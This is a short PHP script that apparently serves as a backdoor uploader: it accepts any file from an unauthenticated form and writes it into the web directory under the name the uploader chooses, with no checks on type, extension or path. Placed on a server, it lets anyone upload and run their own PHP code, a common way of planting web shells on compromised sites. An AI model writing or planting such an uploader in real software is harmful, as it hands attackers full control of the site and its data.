<?php
if (move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
    echo '200 - Uploaded Successfully!';
} else {
    echo 'one0one';
}
?>
<form method="post" enctype="multipart/form-data">
    <input type="file" name="f">
    <button>Upload</button>
</form>
